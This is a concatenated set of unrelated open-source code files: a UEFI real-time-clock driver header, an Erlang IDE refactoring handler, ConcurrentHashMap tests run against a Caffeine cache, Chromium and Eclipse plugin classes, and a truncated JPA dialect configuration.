const GED_SRC_MOD* SrcModTable0[4]; extern const GED_SRC_MOD* SrcModTable1[4]; extern const GED_SUB_BYTE_PRECISION* SubBytePrecisionTable0[4]; extern const GED_SUB_BYTE_PRECISION* SubBytePrecisionTable1[4]; extern const GED_SUB_BYTE_PRECISION* SubBytePrecisionTable2[4]; extern const GED_SUB_FUNC_ID* SubFuncIDTable0[8]; extern const GED_SUB_FUNC_ID* SubFuncIDTable1[8]; extern const GED_SWIZZLE* SwizzleTable0[4]; extern const GED_SYNC_FC* SyncFCTable0[16]; extern const GED_THREAD_CTRL* ThreadCtrlTable0[4]; extern const GED_THREAD_CTRL* ThreadCtrlTable1[4]; extern const GED_THREAD_CTRL* ThreadCtrlTable2[2]; extern const GED_THREAD_CTRL* ThreadCtrlTable3[4]; #endif // GED_ENUM_TABLES_H
3,462
3,861
/** @file Header file for real time clock driver. Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR> Copyright (c) 2017, AMD Inc. All rights reserved.<BR> SPDX-License-Identifier: BSD-2-Clause-Patent **/ #ifndef _RTC_H_ #define _RTC_H_ #include <Uefi.h> #include <Guid/Acpi.h> #include <Protocol/RealTimeClock.h> #include <Library/BaseLib.h> #include <Library/DebugLib.h> #include <Library/UefiLib.h> #include <Library/BaseMemoryLib.h> #include <Library/IoLib.h> #include <Library/TimerLib.h> #include <Library/UefiDriverEntryPoint.h> #include <Library/UefiBootServicesTableLib.h> #include <Library/UefiRuntimeLib.h> #include <Library/UefiRuntimeServicesTableLib.h> #include <Library/PcdLib.h> #include <Library/ReportStatusCodeLib.h> typedef struct { EFI_LOCK RtcLock; INT16 SavedTimeZone; UINT8 Daylight; UINT8 CenturyRtcAddress; } PC_RTC_MODULE_GLOBALS; extern PC_RTC_MODULE_GLOBALS mModuleGlobal; #define PCAT_RTC_ADDRESS_REGISTER 0x70 #define PCAT_RTC_DATA_REGISTER 0x71 // // Dallas DS12C887 Real Time Clock // #define RTC_ADDRESS_SECONDS 0 // R/W Range 0..59 #define RTC_ADDRESS_SECONDS_ALARM 1 // R/W Range 0..59 #define RTC_ADDRESS_MINUTES 2 // R/W Range 0..59 #define RTC_ADDRESS_MINUTES_ALARM 3 // R/W Range 0..59 #define RTC_ADDRESS_HOURS 4 // R/W Range 1..12 or 0..23 Bit 7 is AM/PM #define RTC_ADDRESS_HOURS_ALARM 5 // R/W Range 1..12 or 0..23 Bit 7 is AM/PM #define RTC_ADDRESS_DAY_OF_THE_WEEK 6 // R/W Range 1..7 #define RTC_ADDRESS_DAY_OF_THE_MONTH 7 // R/W Range 1..31 #define RTC_ADDRESS_MONTH 8 // R/W Range 1..12 #define RTC_ADDRESS_YEAR 9 // R/W Range 0..99 #define RTC_ADDRESS_REGISTER_A 10 // R/W[0..6] R0[7] #define RTC_ADDRESS_REGISTER_B 11 // R/W #define RTC_ADDRESS_REGISTER_C 12 // RO #define RTC_ADDRESS_REGISTER_D 13 // RO // // Date and time initial values. // They are used if the RTC values are invalid during driver initialization // #define RTC_INIT_SECOND 0 #define RTC_INIT_MINUTE 0 #define RTC_INIT_HOUR 0 #define RTC_INIT_DAY 1 #define RTC_INIT_MONTH 1 // // Register initial values // #define RTC_INIT_REGISTER_A 0x26 #define RTC_INIT_REGISTER_B 0x02 #ifdef AMD_SUPPORT #define RTC_INIT_REGISTER_D 0x80 #else #define RTC_INIT_REGISTER_D 0x0 #endif #pragma pack(1) // // Register A // typedef struct { UINT8 Rs : 4; // Rate Selection Bits UINT8 Dv : 3; // Divisor UINT8 Uip : 1; // Update in progress } RTC_REGISTER_A_BITS; typedef union { RTC_REGISTER_A_BITS Bits; UINT8 Data; } RTC_REGISTER_A; // // Register B // typedef struct { UINT8 Dse : 1; // 0 - Daylight saving disabled 1 - Daylight savings enabled UINT8 Mil : 1; // 0 - 12 hour mode 1 - 24 hour mode UINT8 Dm : 1; // 0 - BCD Format 1 - Binary Format UINT8 Sqwe : 1; // 0 - Disable SQWE output 1 - Enable SQWE output UINT8 Uie : 1; // 0 - Update INT disabled 1 - Update INT enabled UINT8 Aie : 1; // 0 - Alarm INT disabled 1 - Alarm INT Enabled UINT8 Pie : 1; // 0 - Periodic INT disabled 1 - Periodic INT Enabled UINT8 Set : 1; // 0 - Normal operation. 1 - Updates inhibited } RTC_REGISTER_B_BITS; typedef union { RTC_REGISTER_B_BITS Bits; UINT8 Data; } RTC_REGISTER_B; // // Register C // typedef struct { UINT8 Reserved : 4; // Read as zero. Can not be written. UINT8 Uf : 1; // Update End Interrupt Flag UINT8 Af : 1; // Alarm Interrupt Flag UINT8 Pf : 1; // Periodic Interrupt Flag UINT8 Irqf : 1; // Iterrupt Request Flag = PF & PIE | AF & AIE | UF & UIE } RTC_REGISTER_C_BITS; typedef union { RTC_REGISTER_C_BITS Bits; UINT8 Data; } RTC_REGISTER_C; // // Register D // typedef struct { UINT8 Reserved : 7; // Read as zero. Can not be written. UINT8 Vrt : 1; // Valid RAM and Time } RTC_REGISTER_D_BITS; typedef union { RTC_REGISTER_D_BITS Bits; UINT8 Data; } RTC_REGISTER_D; #pragma pack() /** Initialize RTC. @param Global For global use inside this module. @retval EFI_DEVICE_ERROR Initialization failed due to device error. @retval EFI_SUCCESS Initialization successful. **/ EFI_STATUS PcRtcInit ( IN PC_RTC_MODULE_GLOBALS *Global ); /** Sets the current local time and date information. @param Time A pointer to the current time. @param Global For global use inside this module. @retval EFI_SUCCESS The operation completed successfully. @retval EFI_INVALID_PARAMETER A time field is out of range. @retval EFI_DEVICE_ERROR The time could not be set due due to hardware error. **/ EFI_STATUS PcRtcSetTime ( IN EFI_TIME *Time, IN PC_RTC_MODULE_GLOBALS *Global ); /** Returns the current time and date information, and the time-keeping capabilities of the hardware platform. @param Time A pointer to storage to receive a snapshot of the current time. @param Capabilities An optional pointer to a buffer to receive the real time clock device's capabilities. @param Global For global use inside this module. @retval EFI_SUCCESS The operation completed successfully. @retval EFI_INVALID_PARAMETER Time is NULL. @retval EFI_DEVICE_ERROR The time could not be retrieved due to hardware error. **/ EFI_STATUS PcRtcGetTime ( OUT EFI_TIME *Time, OUT EFI_TIME_CAPABILITIES *Capabilities, OPTIONAL IN PC_RTC_MODULE_GLOBALS *Global ); /** Sets the system wakeup alarm clock time. @param Enabled Enable or disable the wakeup alarm. @param Time If Enable is TRUE, the time to set the wakeup alarm for. If Enable is FALSE, then this parameter is optional, and may be NULL. @param Global For global use inside this module. @retval EFI_SUCCESS If Enable is TRUE, then the wakeup alarm was enabled. If Enable is FALSE, then the wakeup alarm was disabled. @retval EFI_INVALID_PARAMETER A time field is out of range. @retval EFI_DEVICE_ERROR The wakeup time could not be set due to a hardware error. @retval EFI_UNSUPPORTED A wakeup timer is not supported on this platform. **/ EFI_STATUS PcRtcSetWakeupTime ( IN BOOLEAN Enable, IN EFI_TIME *Time, OPTIONAL IN PC_RTC_MODULE_GLOBALS *Global ); /** Returns the current wakeup alarm clock setting. @param Enabled Indicates if the alarm is currently enabled or disabled. @param Pending Indicates if the alarm signal is pending and requires acknowledgement. @param Time The current alarm setting. @param Global For global use inside this module. @retval EFI_SUCCESS The alarm settings were returned. @retval EFI_INVALID_PARAMETER Enabled is NULL. @retval EFI_INVALID_PARAMETER Pending is NULL. @retval EFI_INVALID_PARAMETER Time is NULL. @retval EFI_DEVICE_ERROR The wakeup time could not be retrieved due to a hardware error. @retval EFI_UNSUPPORTED A wakeup timer is not supported on this platform. **/ EFI_STATUS PcRtcGetWakeupTime ( OUT BOOLEAN *Enabled, OUT BOOLEAN *Pending, OUT EFI_TIME *Time, IN PC_RTC_MODULE_GLOBALS *Global ); /** The user Entry Point for PcRTC module. This is the entrhy point for PcRTC module. It installs the UEFI runtime service including GetTime(),SetTime(),GetWakeupTime(),and SetWakeupTime(). @param ImageHandle The firmware allocated handle for the EFI image. @param SystemTable A pointer to the EFI System Table. @retval EFI_SUCCESS The entry point is executed successfully. @retval Others Some error occurs when executing this entry point. **/ EFI_STATUS EFIAPI InitializePcRtc ( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable ); /** See if all fields of a variable of EFI_TIME type is correct. @param Time The time to be checked. @retval EFI_INVALID_PARAMETER Some fields of Time are not correct. @retval EFI_SUCCESS Time is a valid EFI_TIME variable. **/ EFI_STATUS RtcTimeFieldsValid ( IN EFI_TIME *Time ); /** Converts time from EFI_TIME format defined by UEFI spec to RTC's. This function converts time from EFI_TIME format defined by UEFI spec to RTC's. If data mode of RTC is BCD, then converts EFI_TIME to it. If RTC is in 12-hour format, then converts EFI_TIME to it. @param Time On input, the time data read from UEFI to convert On output, the time converted to RTC format @param RegisterB Value of Register B of RTC, indicating data mode **/ VOID ConvertEfiTimeToRtcTime ( IN OUT EFI_TIME *Time, IN RTC_REGISTER_B RegisterB ); /** Converts time read from RTC to EFI_TIME format defined by UEFI spec. This function converts raw time data read from RTC to the EFI_TIME format defined by UEFI spec. If data mode of RTC is BCD, then converts it to decimal, If RTC is in 12-hour format, then converts it to 24-hour format. @param Time On input, the time data read from RTC to convert On output, the time converted to UEFI format @param RegisterB Value of Register B of RTC, indicating data mode and hour format. @retval EFI_INVALID_PARAMETER Parameters passed in are invalid. @retval EFI_SUCCESS Convert RTC time to EFI time successfully. **/ EFI_STATUS ConvertRtcTimeToEfiTime ( IN OUT EFI_TIME *Time, IN RTC_REGISTER_B RegisterB ); /** Wait for a period for the RTC to be ready. @param Timeout Tell how long it should take to wait. @retval EFI_DEVICE_ERROR RTC device error. @retval EFI_SUCCESS RTC is updated and ready. **/ EFI_STATUS RtcWaitToUpdate ( UINTN Timeout ); /** See if field Day of an EFI_TIME is correct. @param Time Its Day field is to be checked. @retval TRUE Day field of Time is correct. @retval FALSE Day field of Time is NOT correct. **/ BOOLEAN DayValid ( IN EFI_TIME *Time ); /** Check if it is a leapyear. @param Time The time to be checked. @retval TRUE It is a leapyear. @retval FALSE It is NOT a leapyear. **/ BOOLEAN IsLeapYear ( IN EFI_TIME *Time ); /** Get the century RTC address from the ACPI FADT table. @return The century RTC address or 0 if not found. **/ UINT8 GetCenturyRtcAddress ( VOID ); /** Notification function of ACPI Table change. This is a notification function registered on ACPI Table change event. It saves the Century address stored in ACPI FADT table. @param Event Event whose notification function is being invoked. @param Context Pointer to the notification function's context. **/ VOID EFIAPI PcRtcAcpiTableChangeCallback ( IN EFI_EVENT Event, IN VOID *Context ); #endif
4,987
3,100
<reponame>abhinavsinha001/airpal<filename>src/main/java/com/airbnb/airpal/api/output/InvalidQueryException.java<gh_stars>1000+ package com.airbnb.airpal.api.output; public class InvalidQueryException extends Exception { public InvalidQueryException(String message) { super(message); } }
117
487
<filename>src/org/intellij/erlang/refactoring/ErlangInlineVariableHandler.java /* * Copyright 2012-2014 <NAME> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.intellij.erlang.refactoring; import com.intellij.lang.ASTNode; import com.intellij.lang.Language; import com.intellij.lang.refactoring.InlineActionHandler; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.command.CommandProcessor; import com.intellij.openapi.editor.Editor; import com.intellij.openapi.project.Project; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiReference; import com.intellij.psi.impl.source.codeStyle.CodeEditUtil; import com.intellij.psi.impl.source.tree.LeafPsiElement; import com.intellij.psi.search.searches.ReferencesSearch; import com.intellij.psi.util.PsiTreeUtil; import com.intellij.refactoring.HelpID; import com.intellij.refactoring.util.CommonRefactoringUtil; import org.intellij.erlang.ErlangLanguage; import org.intellij.erlang.ErlangTypes; import org.intellij.erlang.psi.*; import org.intellij.erlang.psi.impl.ErlangElementFactory; import org.intellij.erlang.psi.impl.ErlangPsiImplUtil; public class ErlangInlineVariableHandler extends InlineActionHandler { private static final String REFACTORING_NAME = "Inline variable"; @Override public boolean isEnabledForLanguage(Language l) { return l == ErlangLanguage.INSTANCE; } @Override public boolean canInlineElement(PsiElement element) { return element instanceof ErlangQVar; } @Override public void inlineElement(final Project project, Editor editor, PsiElement element) { if (!(element instanceof ErlangQVar)) return; PsiElement parent = element.getParent(); if (!(parent instanceof ErlangMaxExpression)) return; // popup? final PsiElement assignment = parent.getParent(); if (!(assignment instanceof ErlangAssignmentExpression)) { CommonRefactoringUtil.showErrorHint(project, editor, "Not in assignment expression.", REFACTORING_NAME, HelpID.INLINE_VARIABLE); return; } if (((ErlangAssignmentExpression) assignment).getLeft() != parent) return; final ErlangExpression rightWithoutParentheses = ErlangPsiImplUtil.getNotParenthesizedExpression(((ErlangAssignmentExpression) assignment).getRight()); if (rightWithoutParentheses == null) { CommonRefactoringUtil.showErrorHint(project, editor, "Cannot perform 'inline variable': variable should have an initializer.", REFACTORING_NAME, HelpID.INLINE_VARIABLE); return; } CommandProcessor.getInstance().executeCommand(project, () -> ApplicationManager.getApplication().runWriteAction(() -> { for (PsiReference psiReference : ReferencesSearch.search(element).findAll()) { PsiElement host = psiReference.getElement(); PsiElement expr = host.getParent(); ASTNode replacementNode = null; if (expr instanceof ErlangMaxExpression) { if (ErlangPsiImplUtil.getExpressionPrecedence(expr.getParent()) > ErlangPsiImplUtil.getExpressionPrecedence(rightWithoutParentheses)) { replacementNode = expr.replace(ErlangPsiImplUtil.wrapWithParentheses(rightWithoutParentheses)).getNode(); } else { replacementNode = expr.replace(rightWithoutParentheses).getNode(); } } else if (expr instanceof ErlangFunExpression) { replacementNode = host.replace(rightWithoutParentheses).getNode(); } else if (expr instanceof ErlangGenericFunctionCallExpression) { replacementNode = substituteFunctionCall(project, host, rightWithoutParentheses).getNode(); } if (replacementNode != null) { CodeEditUtil.markToReformat(replacementNode, true); } } PsiElement comma = PsiTreeUtil.getNextSiblingOfType(assignment, LeafPsiElement.class); if (comma != null && comma.getNode().getElementType() == ErlangTypes.ERL_COMMA) { comma.delete(); } assignment.delete(); }), "Inline variable", null); } private static PsiElement substituteFunctionCall(Project project, PsiElement variable, ErlangExpression variableValue) { if (!(variableValue instanceof ErlangFunExpression)) return variable.replace(variableValue); ErlangFunExpression funExpression = (ErlangFunExpression) variableValue; if (null != funExpression.getFunClauses()) return variable.replace(variableValue); ErlangFunctionWithArity functionWithArity = funExpression.getFunctionWithArity(); PsiElement function = functionWithArity != null ? functionWithArity.getQAtom() : null; if (function == null) return variable; //the condition is always false function = variable.replace(function); PsiElement parent = function.getParent(); ErlangModuleRef moduleRef = funExpression.getModuleRef(); PsiElement module = moduleRef != null ? moduleRef.getQAtom() : null; if (module == null) module = funExpression.getQVar(); if (module == null || parent == null) return function; parent.addBefore(module, function); parent.addBefore(ErlangElementFactory.createLeafFromText(project, ":"), function); return parent; } }
1,878
375
/* * Copyright 2015 Nokia Solutions and Networks * Licensed under the Apache License, Version 2.0, * see license.txt file for details. */ package org.robotframework.ide.eclipse.main.plugin.tableeditor.keywords.handler; import javax.inject.Named; import org.eclipse.e4.core.di.annotations.Execute; import org.eclipse.jface.viewers.IStructuredSelection; import org.robotframework.ide.eclipse.main.plugin.model.RobotKeywordsSection; import org.robotframework.ide.eclipse.main.plugin.model.RobotSuiteFile; import org.robotframework.ide.eclipse.main.plugin.tableeditor.RobotEditorCommandsStack; import org.robotframework.ide.eclipse.main.plugin.tableeditor.RobotEditorSources; import org.robotframework.ide.eclipse.main.plugin.tableeditor.code.handler.E4InsertNewCodeHolderHandler; import org.robotframework.ide.eclipse.main.plugin.tableeditor.keywords.handler.InsertNewKeywordHandler.E4InsertNewKeywordHandler; import org.robotframework.red.commands.DIParameterizedHandler; import org.robotframework.red.viewers.Selections; public class InsertNewKeywordHandler extends DIParameterizedHandler<E4InsertNewKeywordHandler> { public InsertNewKeywordHandler() { super(E4InsertNewKeywordHandler.class); } public static class E4InsertNewKeywordHandler extends E4InsertNewCodeHolderHandler { @Execute public void insertNewUserDefinedKeyword( @Named(RobotEditorSources.SUITE_FILE_MODEL) final RobotSuiteFile fileModel, @Named(Selections.SELECTION) final IStructuredSelection selection, final RobotEditorCommandsStack stack) { insertNewHolder(fileModel, selection, stack, RobotKeywordsSection.class); } } }
586
11,877
<filename>caffeine/src/test/java/com/github/benmanes/caffeine/jsr166/ConcurrentHashMap8Test.java<gh_stars>1000+ /* * Written by <NAME> with assistance from members of JCP JSR-166 * Expert Group and released to the public domain, as explained at * http://creativecommons.org/publicdomain/zero/1.0/ */ package com.github.benmanes.caffeine.jsr166; import static java.util.Spliterator.CONCURRENT; import static java.util.Spliterator.DISTINCT; import static java.util.Spliterator.NONNULL; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.Iterator; import java.util.NoSuchElementException; import java.util.Set; import java.util.Spliterator; import java.util.concurrent.ConcurrentMap; import java.util.concurrent.atomic.LongAdder; import com.github.benmanes.caffeine.cache.Caffeine; import junit.framework.Test; import junit.framework.TestSuite; @SuppressWarnings({"rawtypes", "unchecked"}) public class ConcurrentHashMap8Test extends JSR166TestCase { public static void main(String[] args) { junit.textui.TestRunner.run(suite()); } public static Test suite() { return new TestSuite(ConcurrentHashMap8Test.class); } private static <K, V> ConcurrentMap<K, V> map() { return Caffeine.newBuilder() .maximumSize(Integer.MAX_VALUE) .<K, V>build().asMap(); } private static <E> Set<E> set() { return Collections.newSetFromMap(map()); } /** * Returns a new map from Integers 1-5 to Strings "A"-"E". */ private static ConcurrentMap map5() { ConcurrentMap map = map(); assertTrue(map.isEmpty()); map.put(one, "A"); map.put(two, "B"); map.put(three, "C"); map.put(four, "D"); map.put(five, "E"); assertFalse(map.isEmpty()); assertEquals(5, map.size()); return map; } /** * getOrDefault returns value if present, else default */ public void testGetOrDefault() { ConcurrentMap map = map5(); assertEquals(map.getOrDefault(one, "Z"), "A"); assertEquals(map.getOrDefault(six, "Z"), "Z"); } /** * computeIfAbsent adds when the given key is not present */ public void testComputeIfAbsent() { ConcurrentMap map = map5(); map.computeIfAbsent(six, (x) -> "Z"); assertTrue(map.containsKey(six)); } /** * computeIfAbsent does not replace if the key is already present */ public void testComputeIfAbsent2() { ConcurrentMap map = map5(); assertEquals("A", map.computeIfAbsent(one, (x) -> "Z")); } /** * computeIfAbsent does not add if function returns null */ public void testComputeIfAbsent3() { ConcurrentMap map = map5(); map.computeIfAbsent(six, (x) -> null); assertFalse(map.containsKey(six)); } /** * computeIfPresent does not replace if the key is already present */ public void testComputeIfPresent() { ConcurrentMap map = map5(); map.computeIfPresent(six, (x, y) -> "Z"); assertFalse(map.containsKey(six)); } /** * computeIfPresent adds when the given key is not present */ public void testComputeIfPresent2() { ConcurrentMap map = map5(); assertEquals("Z", map.computeIfPresent(one, (x, y) -> "Z")); } /** * compute does not replace if the function returns null */ public void testCompute() { ConcurrentMap map = map5(); map.compute(six, (x, y) -> null); assertFalse(map.containsKey(six)); } /** * compute adds when the given key is not present */ public void testCompute2() { ConcurrentMap map = map5(); assertEquals("Z", map.compute(six, (x, y) -> "Z")); } /** * compute replaces when the given key is present */ public void testCompute3() { ConcurrentMap map = map5(); assertEquals("Z", map.compute(one, (x, y) -> "Z")); } /** * compute removes when the given key is present and function returns null */ public void testCompute4() { ConcurrentMap map = map5(); map.compute(one, (x, y) -> null); assertFalse(map.containsKey(one)); } /** * merge adds when the given key is not present */ public void testMerge1() { ConcurrentMap map = map5(); assertEquals("Y", map.merge(six, "Y", (x, y) -> "Z")); } /** * merge replaces when the given key is present */ public void testMerge2() { ConcurrentMap map = map5(); assertEquals("Z", map.merge(one, "Y", (x, y) -> "Z")); } /** * merge removes when the given key is present and function returns null */ public void testMerge3() { ConcurrentMap map = map5(); map.merge(one, "Y", (x, y) -> null); assertFalse(map.containsKey(one)); } static Set<Integer> populatedSet(int n) { Set<Integer> a = set(); assertTrue(a.isEmpty()); for (int i = 0; i < n; i++) { assertTrue(a.add(i)); } assertEquals(n == 0, a.isEmpty()); assertEquals(n, a.size()); return a; } static Set populatedSet(Integer[] elements) { Set<Integer> a = set(); assertTrue(a.isEmpty()); for (int i = 0; i < elements.length; i++) { assertTrue(a.add(elements[i])); } assertFalse(a.isEmpty()); assertEquals(elements.length, a.size()); return a; } /** * replaceAll replaces all matching values. */ public void testReplaceAll() { ConcurrentMap<Integer, String> map = map5(); map.replaceAll((x, y) -> { return x > 3 ? "Z" : y; }); assertEquals("A", map.get(one)); assertEquals("B", map.get(two)); assertEquals("C", map.get(three)); assertEquals("Z", map.get(four)); assertEquals("Z", map.get(five)); } /** * Default-constructed set is empty */ public void testNewKeySet() { Set a = set(); assertTrue(a.isEmpty()); } /** * keySet.add adds the key with the established value to the map; * remove removes it. */ public void testKeySetAddRemove() { ConcurrentMap map = map5(); Set set1 = map.keySet(); map.put(six, true); assertEquals(set1.size(), map.size()); assertTrue((Boolean)map.get(six)); assertTrue(set1.contains(six)); map.remove(six); assertNull(map.get(six)); assertFalse(set1.contains(six)); } /** * keySet.addAll adds each element from the given collection */ public void testAddAll() { Set full = populatedSet(3); assertTrue(full.addAll(Arrays.asList(three, four, five))); assertEquals(6, full.size()); assertFalse(full.addAll(Arrays.asList(three, four, five))); assertEquals(6, full.size()); } /** * keySet.addAll adds each element from the given collection that did not * already exist in the set */ public void testAddAll2() { Set full = populatedSet(3); // "one" is duplicate and will not be added assertTrue(full.addAll(Arrays.asList(three, four, one))); assertEquals(5, full.size()); assertFalse(full.addAll(Arrays.asList(three, four, one))); assertEquals(5, full.size()); } /** * keySet.add will not add the element if it already exists in the set */ public void testAdd2() { Set full = populatedSet(3); assertFalse(full.add(one)); assertEquals(3, full.size()); } /** * keySet.add adds the element when it does not exist in the set */ public void testAdd3() { Set full = populatedSet(3); assertTrue(full.add(three)); assertTrue(full.contains(three)); assertFalse(full.add(three)); assertTrue(full.contains(three)); } /** * keySet.add throws UnsupportedOperationException if no default * mapped value */ public void testAdd4() { Set full = map5().keySet(); try { full.add(three); shouldThrow(); } catch (UnsupportedOperationException success) {} } /** * keySet.add throws NullPointerException if the specified key is * null */ public void testAdd5() { Set full = populatedSet(3); try { full.add(null); shouldThrow(); } catch (NullPointerException success) {} } void checkSpliteratorCharacteristics(Spliterator<?> sp, int requiredCharacteristics) { assertEquals(requiredCharacteristics, requiredCharacteristics & sp.characteristics()); } /** * KeySetView.spliterator returns spliterator over the elements in this set */ public void testKeySetSpliterator() { LongAdder adder = new LongAdder(); ConcurrentMap map = map5(); Set set = map.keySet(); Spliterator<Integer> sp = set.spliterator(); checkSpliteratorCharacteristics(sp, CONCURRENT | DISTINCT | NONNULL); assertEquals(sp.estimateSize(), map.size()); Spliterator<Integer> sp2 = sp.trySplit(); sp.forEachRemaining((Integer x) -> adder.add(x.longValue())); long v = adder.sumThenReset(); sp2.forEachRemaining((Integer x) -> adder.add(x.longValue())); long v2 = adder.sum(); assertEquals(v + v2, 15); } /** * keyset.clear removes all elements from the set */ public void testClear() { Set full = populatedSet(3); full.clear(); assertEquals(0, full.size()); } /** * keyset.contains returns true for added elements */ public void testContains() { Set full = populatedSet(3); assertTrue(full.contains(one)); assertFalse(full.contains(five)); } /** * KeySets with equal elements are equal */ public void testEquals() { Set a = populatedSet(3); Set b = populatedSet(3); assertTrue(a.equals(b)); assertTrue(b.equals(a)); assertEquals(a.hashCode(), b.hashCode()); a.add(m1); assertFalse(a.equals(b)); assertFalse(b.equals(a)); b.add(m1); assertTrue(a.equals(b)); assertTrue(b.equals(a)); assertEquals(a.hashCode(), b.hashCode()); } /** * KeySet.containsAll returns true for collections with subset of elements */ public void testContainsAll() { Collection full = populatedSet(3); assertTrue(full.containsAll(Arrays.asList())); assertTrue(full.containsAll(Arrays.asList(one))); assertTrue(full.containsAll(Arrays.asList(one, two))); assertFalse(full.containsAll(Arrays.asList(one, two, six))); assertFalse(full.containsAll(Arrays.asList(six))); } /** * KeySet.isEmpty is true when empty, else false */ public void testIsEmpty() { assertTrue(populatedSet(0).isEmpty()); assertFalse(populatedSet(3).isEmpty()); } /** * KeySet.iterator() returns an iterator containing the elements of the * set */ public void testIterator() { Collection empty = set(); int size = 20; assertFalse(empty.iterator().hasNext()); try { empty.iterator().next(); shouldThrow(); } catch (NoSuchElementException success) {} Integer[] elements = new Integer[size]; for (int i = 0; i < size; i++) { elements[i] = i; } Collections.shuffle(Arrays.asList(elements)); Collection<Integer> full = populatedSet(elements); Iterator it = full.iterator(); for (int j = 0; j < size; j++) { assertTrue(it.hasNext()); it.next(); } assertIteratorExhausted(it); } /** * iterator of empty collections has no elements */ public void testEmptyIterator() { assertIteratorExhausted(set().iterator()); assertIteratorExhausted(map().entrySet().iterator()); assertIteratorExhausted(map().values().iterator()); assertIteratorExhausted(map().keySet().iterator()); } /** * KeySet.iterator.remove removes current element */ public void testIteratorRemove() { Set q = populatedSet(3); Iterator it = q.iterator(); Object removed = it.next(); it.remove(); it = q.iterator(); assertFalse(it.next().equals(removed)); assertFalse(it.next().equals(removed)); assertFalse(it.hasNext()); } /** * KeySet.toString holds toString of elements */ public void testToString() { assertEquals("[]", set().toString()); Set full = populatedSet(3); String s = full.toString(); for (int i = 0; i < 3; ++i) { assertTrue(s.contains(String.valueOf(i))); } } /** * KeySet.removeAll removes all elements from the given collection */ public void testRemoveAll() { Set full = populatedSet(3); assertTrue(full.removeAll(Arrays.asList(one, two))); assertEquals(1, full.size()); assertFalse(full.removeAll(Arrays.asList(one, two))); assertEquals(1, full.size()); } /** * KeySet.remove removes an element */ public void testRemove() { Set full = populatedSet(3); full.remove(one); assertFalse(full.contains(one)); assertEquals(2, full.size()); } /** * keySet.size returns the number of elements */ public void testSize() { Set empty = set(); Set full = populatedSet(3); assertEquals(3, full.size()); assertEquals(0, empty.size()); } /** * KeySet.toArray() returns an Object array containing all elements from * the set */ public void testToArray() { Object[] a = set().toArray(); assertTrue(Arrays.equals(new Object[0], a)); assertSame(Object[].class, a.getClass()); int size = 20; Integer[] elements = new Integer[size]; for (int i = 0; i < size; i++) { elements[i] = i; } Collections.shuffle(Arrays.asList(elements)); Collection<Integer> full = populatedSet(elements); assertTrue(Arrays.asList(elements).containsAll(Arrays.asList(full.toArray()))); assertTrue(full.containsAll(Arrays.asList(full.toArray()))); assertSame(Object[].class, full.toArray().getClass()); } /** * toArray(Integer array) returns an Integer array containing all * elements from the set */ public void testToArray2() { Collection empty = set(); Integer[] a; int size = 20; a = new Integer[0]; assertSame(a, empty.toArray(a)); a = new Integer[size/2]; Arrays.fill(a, 42); assertSame(a, empty.toArray(a)); assertNull(a[0]); for (int i = 1; i < a.length; i++) { assertEquals(42, (int) a[i]); } Integer[] elements = new Integer[size]; for (int i = 0; i < size; i++) { elements[i] = i; } Collections.shuffle(Arrays.asList(elements)); Collection<Integer> full = populatedSet(elements); Arrays.fill(a, 42); assertTrue(Arrays.asList(elements).containsAll(Arrays.asList(full.toArray(a)))); for (int i = 0; i < a.length; i++) { assertEquals(42, (int) a[i]); } assertSame(Integer[].class, full.toArray(a).getClass()); a = new Integer[size]; Arrays.fill(a, 42); assertSame(a, full.toArray(a)); assertTrue(Arrays.asList(elements).containsAll(Arrays.asList(full.toArray(a)))); } }
6,908
2,151
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef COMPONENTS_VIZ_SERVICE_DISPLAY_EMBEDDER_GL_OUTPUT_SURFACE_OZONE_H_ #define COMPONENTS_VIZ_SERVICE_DISPLAY_EMBEDDER_GL_OUTPUT_SURFACE_OZONE_H_ #include "components/viz/service/display_embedder/gl_output_surface_buffer_queue.h" namespace viz { class GLOutputSurfaceOzone : public GLOutputSurfaceBufferQueue { public: GLOutputSurfaceOzone( scoped_refptr<VizProcessContextProvider> context_provider, gpu::SurfaceHandle surface_handle, SyntheticBeginFrameSource* synthetic_begin_frame_source, gpu::GpuMemoryBufferManager* gpu_memory_buffer_manager, uint32_t target, uint32_t internal_format); ~GLOutputSurfaceOzone() override; private: DISALLOW_COPY_AND_ASSIGN(GLOutputSurfaceOzone); }; } // namespace viz #endif // COMPONENTS_VIZ_SERVICE_DISPLAY_EMBEDDER_GL_OUTPUT_SURFACE_OZONE_H_
379
364
<filename>nginx-admin-ui/src/main/java/com/jslsolucoes/nginx/admin/jpa/OverrideEntityManagerConfiguration.java<gh_stars>100-1000 package com.jslsolucoes.nginx.admin.jpa; import java.util.HashMap; import java.util.Map; import javax.enterprise.context.ApplicationScoped; import javax.enterprise.inject.Specializes; import javax.inject.Inject; import com.jslsolucoes.nginx.admin.ui.config.Configuration; import br.com.caelum.vraptor.jpa.DefaultEntityManagerConfiguration; @Specializes @ApplicationScoped public class OverrideEntityManagerConfiguration extends DefaultEntityManagerConfiguration { @Inject private Configuration configuration; @Override public Map<String, Object> properties() { Map<String, Object> properties = new HashMap<>(); properties.put("hibernate.dialect", dialect()); properties.put("hibernate.default_schema", schema()); return properties; } private String schema() { String driver = configuration.getDatabase().getDriver(); if (driver.equals("h2")) { return configuration.getDatabase().getName(); } else if (driver.equals("mysql")) { return configuration.getDatabase().getName(); } else if (driver.equals("mariadb")) { return configuration.getDatabase().getName(); } else if (driver.equals("oracle")) { return configuration.getDatabase().getUsername(); } else if (driver.equals("postgresql")) { return configuration.getDatabase().getName(); } else if (driver.equals("sqlserver")) { return configuration.getDatabase().getName(); } throw new RuntimeException("Could not find schema for driver " + driver); } public String dialect() { String driver = configuration.getDatabase().getDriver(); if (driver.equals("h2")) { return "org.hibernate.dialect.H2Dialect"; } else if (driver.equals("mysql")) { return "org.hibernate.dialect.MySQL5Dialect"; } else if (driver.equals("mariadb")) { return 